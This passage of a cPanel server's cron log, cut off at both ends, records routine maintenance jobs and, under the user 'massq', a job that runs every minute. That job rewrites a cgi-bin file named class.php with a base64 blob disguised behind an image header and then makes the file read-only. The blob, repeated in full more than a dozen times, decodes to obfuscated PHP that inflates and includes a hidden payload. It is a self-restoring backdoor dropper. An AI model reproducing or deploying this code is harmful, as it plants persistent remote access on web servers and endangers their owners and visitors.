chmod 444 "$fp")
Sep  4 02:28:01 server CROND[27233]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  4 02:29:01 server CROND[27620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:29:01 server CROND[27621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:29:01 server CROND[27622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:30:01 server CROND[28016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:30:01 server CROND[28017]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:30:01 server CROND[28019]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:30:01 server CROND[28023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:30:01 server CROND[28024]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:30:01 server CROND[28027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:30:01 server CROND[28026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:30:01 server CROND[28025]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:31:01 server CROND[28861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:31:01 server CROND[28862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:31:01 server CROND[28863]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:32:01 server CROND[29243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:32:01 server CROND[29244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:32:01 server CROND[29245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:33:01 server CROND[29743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:33:01 server CROND[29744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:33:01 server CROND[29745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:34:02 server CROND[30124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:34:02 server CROND[30125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:34:02 server CROND[30126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:35:01 server CROND[30518]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 02:35:01 server CROND[30519]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:35:01 server CROND[30523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:35:01 server CROND[30528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:35:01 server CROND[30527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:35:01 server CROND[30526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 02:35:01 server CROND[30535]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:35:01 server CROND[30530]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:35:01 server CROND[30525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:36:01 server CROND[31435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:36:01 server CROND[31436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:36:01 server CROND[31437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:37:01 server CROND[31823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:37:01 server CROND[31824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:37:01 server CROND[31825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:38:01 server CROND[32308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:38:01 server CROND[32309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:38:01 server CROND[32310]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:39:01 server CROND[32708]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 02:39:01 server CROND[32706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:39:01 server CROND[32707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:39:01 server CROND[32709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:40:01 server CROND[709]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:40:01 server CROND[711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:40:01 server CROND[713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:40:01 server CROND[714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:40:01 server CROND[716]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:40:01 server CROND[720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wE